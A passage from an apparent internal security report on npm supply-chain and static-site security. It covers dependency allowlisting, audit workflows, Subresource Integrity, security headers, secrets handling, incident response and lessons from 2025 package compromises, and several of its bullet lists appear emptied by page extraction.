3# Monitor for CVEs affecting components
4# Automated alerts for new vulnerabilities

Why it matters: SBOMs provide comprehensive inventory of dependencies for compliance, security monitoring, and incident response.

8. Private Registry / Proxy #

Use Verdaccio or similar:

1# Install Verdaccio
2npm install -g verdaccio
3
4# Run
5verdaccio

Configure npm:

1# .npmrc
2registry=http://localhost:4873/

Benefits:

9. Dependency Allowlisting #

Limit allowed packages:

 1// scripts/check-dependencies.js
 2import { readFileSync } from 'fs';
 3
 4const allowedPackages = new Set([
 5  'react',
 6  'react-dom',
 7  'astro',
 8  // ... approved packages
 9]);
10
11const packageJson = JSON.parse(readFileSync('package.json', 'utf-8'));
12const allDeps = {
13  ...packageJson.dependencies,
14  ...packageJson.devDependencies
15};
16
17for (const pkg of Object.keys(allDeps)) {
18  if (!allowedPackages.has(pkg)) {
19    console.error(`Unapproved package: ${pkg}`);
20    process.exit(1);
21  }
22}

Pre-commit hook:

1#!/bin/bash
2# .git/hooks/pre-commit
3
4node scripts/check-dependencies.js

10. Credential Rotation #

After 2025 attacks:

Immediately rotate:

Best practices:

11. Monitor for Compromise #

Indicators of compromise:

 1# Check for unexpected package-lock.json changes
 2git diff HEAD -- package-lock.json
 3
 4# Verify package integrity
 5npm audit
 6
 7# Check installed scripts
 8npm explore package-name -- ls -la
 9
10# Review recent commits for suspicious changes
11git log --all --oneline -- package.json package-lock.json

Automated monitoring:

 1# .github/workflows/monitor.yml
 2name: Dependency Monitor
 3on:
 4  schedule:
 5    - cron: '0 */6 * * *' # Every 6 hours
 6
 7jobs:
 8  check:
 9    runs-on: ubuntu-latest
10    steps:
11      - uses: actions/checkout@v4
12      - run: npm ci
13      - run: npm audit --audit-level=high

12. Code Review for Dependencies #

Review before merging:

1# Helpful commands for reviewing dependency changes
2npm ls package-name
3npm why package-name
4npm outdated

Supply Chain Security Checklist #


8. Additional Security Recommendations #

Subresource Integrity (SRI) #

For third-party CDN resources:

 1<script
 2  src="https://cdn.jsdelivr.net/npm/react@18.2.0/umd/react.production.min.js"
 3  integrity="sha384-KyZXEAg3QhqLMpG8r+Knujsl5+z0CRnU6y0z3VqW6x1OPoFa9J9z9G9v3k8ePqSd"
 4  crossorigin="anonymous">
 5</script>
 6
 7<link
 8  rel="stylesheet"
 9  href="https://cdn.example.com/style.css"
10  integrity="sha384-abc123..."
11  crossorigin="anonymous">

Generate SRI hash:

1curl -s https://cdn.example.com/library.js | openssl dgst -sha384 -binary | openssl base64 -A

PCI DSS 4.0 Compliance: Requirement 6.4.3 mandates integrity checks on payment page scripts.

HTTP Security Headers #

Configure at CDN/hosting level:

# Security headers for static sites
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Secrets Management #

Never commit secrets:

1# .gitignore
2.env
3.env.local
4.env.*.local
5*.key
6*.pem
7secrets.json
8credentials.json

Use environment variables:

 1// ❌ NEVER do this
 2const apiKey = "sk_live_abc123...";
 3
 4// ✅ Use environment variables
 5const apiKey = process.env.API_KEY;
 6
 7// Validate at startup
 8if (!apiKey) {
 9  throw new Error('API_KEY environment variable required');
10}

For build-time secrets:

1# Use build variables, not committed files
2VITE_PUBLIC_KEY=xyz npm run build

HTTPS Enforcement #

For static sites:

Regular Security Audits #

Schedule periodic reviews:

Automated reminders:

 1# .github/workflows/schedule-audit.yml
 2name: Monthly Security Audit
 3on:
 4  schedule:
 5    - cron: '0 9 1 * *' # 9 AM on 1st of month
 6  workflow_dispatch:
 7
 8jobs:
 9  audit:
10    runs-on: ubuntu-latest
11    steps:
12      - uses: actions/checkout@v4
13      - run: npm ci
14      - run: npm audit
15      - run: npm outdated
16      - run: npx @cyclonedx/cyclonedx-npm --output-file sbom-$(date +%Y-%m).json

9. Incident Response #

Detecting Compromise #

Signs your project may be compromised:

Response Procedure #

If compromise is suspected:

  1. Immediately stop deployments
  2. Rotate all credentials (npm tokens, API keys, GitHub tokens)
  3. Review recent commits for unauthorized changes
  4. Audit all dependencies using multiple tools
  5. Check for data exfiltration in logs
  6. Regenerate lockfile from clean state
  7. Notify affected parties if data was exposed
  8. Document incident for post-mortem
  9. Implement additional safeguards to prevent recurrence

Lessons from 2025 Attacks #

The 2025 supply chain attacks teach us:

  1. No package is too popular to be compromised - chalk, debug, and ansi-styles were targeted
  2. Phishing works - Even experienced maintainers can be fooled
  3. Tokens are valuable - npm tokens are primary attack targets
  4. Install scripts are dangerous - They execute with full permissions
  5. Detection is difficult - Malware can remain undetected for days
  6. Impact is widespread - 2.6 billion downloads affected in a single attack
  7. Defense requires layers - No single measure prevents all attacks

10. Conclusion #

Static site security requires vigilance across multiple domains:

  1. Dependencies - Regular audits, version pinning, and comprehensive scanning
  2. Build Scripts - Input validation, avoiding dangerous APIs, and least privilege
  3. Content Security - Strong CSP, XSS prevention, and secure Markdown rendering
  4. Supply Chain - MFA, trusted publishing, install script protection, and monitoring

The 2025 supply chain attacks demonstrate that complacency is dangerous. Even the most popular packages can be compromised. Security must be:

By implementing the practices outlined in this report, teams can significantly reduce their attack surface and build more resilient static sites and frontend applications.


Sources #

Dependency Security #

execSync/child_process Security #

Input Validation #

Content Security Policy #

XSS Prevention #

Markdown Rendering Security #

Supply Chain Security #

Package Integrity #

Subresource Integrity #

Software Bill of Materials #


Report Generated: November 30, 2025 Author: Security Research Classification: Internal Documentation

last updated: